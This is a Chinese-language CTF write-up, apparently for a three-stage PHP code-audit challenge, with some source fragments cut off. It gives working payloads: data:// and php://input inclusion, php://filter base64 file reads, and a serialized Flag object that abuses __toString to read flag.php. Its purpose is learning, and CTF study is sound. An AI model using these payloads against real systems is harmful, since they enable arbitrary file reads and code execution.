代码审计题目,总共有3关
".file_get_contents($text,'r')."
";
// 第二关:好像正则拦截没啥卵用,也不需要访问flag的文件
if(preg_match("/flag/",$file)){
echo "Not now!";
exit();
}else{
// 第三关:反序列化激活变量password
include($file); //useless.php // 可利用伪协议
$password = unserialize($password);
echo $password;
}
}
else{
highlight_file(__FILE__);
}
?>
其实我对伪协议没什么了解,因为伪协议限制多,要开启很多开关,
也没碰到过像样的文件包含漏洞,更加没写过。
这一关按正常代码理解是要打开一个文件,
文件里面的内容刚好是welcome to the zjctf,
爆破扫描了一下,也没有这种文件。
看了别人的flag才知道原来是伪造文件输入流,
以前其实学过的,后来因为几乎没用过就忘了
利用:php://input可以访问请求的原始数据的只读流,将post请求的数据当作php代码执行。
通俗一点讲就是,php://input作为被包含的参数时,也是文件包含,不过是包含的对象是post的数据,而post的数据为用户所传入,所以也相当于任意命令执行。
条件:
allow_url_fopen:off/on
allow_url_include:On
条件:
allow_url_fopen: on
allow_url_include: on
利用:
data://数据流封装器,以传递指定格式的数据,可以用来执行PHP代码。
示例:
/?file=data://text/plain;[base64],[执行的php代码]
因为文字有空格,GET请求方式好像就需要编码成base64才能执行
text=data://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY=
虽然知道了提示文件的名字:useless.php
但是不能直接包含,因为直接包含相当于运行了文件
所以要用base64加密来显示,之后再解密看源码
php://filter
利用:是php中独有的一个协议,可以作为一个中间过滤器来处理目标数据流,可以进行任意文件的读取,且该协议的参数会在该协议路径上进行传递,多个参数都可以在一个路径上传递,相当于可构造多个过滤器。
条件:
读,开启 allow_url_fopen,不需要开启 allow_url_include;
写,则要两者都开启。
示例:
?file=php://filter/read=convert.base64-encode/resource=xxx
file=php://filter/read=convert.base64-encode/resource=useless.php
用伪协议直接访问,用base64加密是为了不让代码执行,复制粘贴解密就能看到里面代码了
file)){
echo file_get_contents($this->file);
echo "
";
return ("U R SO CLOSE !///COME ON PLZ");
}
}
}
?>
这里我其实理解了一整天,加上自己写代码才完全理解
先理解代码逻辑,这个php代码有一个类,
类里面有一个变量,有一个固定函数:__tostring()
还有一个系统固定函数:file_get_contents()
重点在file_get_contents函数
这里自己写一下函数试试,echo出读取的内容
有不一样的效果,有的是在注释,有的是直接显示到页面
第二个要理解的是这个类的内置固定函数
当类被当成字符串去玩的时候,就触发这个函数
一开始我也不理解,然后发现直接echo就行了
class test{
function __toString(){
return "tostring函数触发了";
}
}
$a = new test(); // 正常实例化
echo $a; // 直接echo打印就能触发
正常显示flag.php内容其实,只需要在变量存入 flag.php字符串
然后echo一下实例化的类即可
file)){
echo file_get_contents($this->file); // 读取文件,文件名是变量file
// 下面不重要,就是给你们看看回显有没有执行成功而已
echo "
";
return ("U R SO CLOSE !///COME ON PLZ");
}
}
}
?>
要不是flag这四个字有正则表达式的拦截,
直接 file=flag.php ,然后echo一下实例化的类,就完事了(忘记了上去看一下一开始的源码)
想完全理解,并不难,把下面代码写下就行,text参数因为是独立的,所以就省略了
就两个文件代码,自己写一下才真正了解
所以正确的是:
O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}
那么最后text不变,file参数直接写useless.php(因为需要把这个文件包含进来)
文件包含进来相当于执行了php的代码
执行才能反序列化
那么password就把上面序列化的东西放进去
一运行就是反序列化+echo触发__tostring()函数
就读取了flag.php文件,然后echo显示出来到页面上(题目的flag好像是在注释)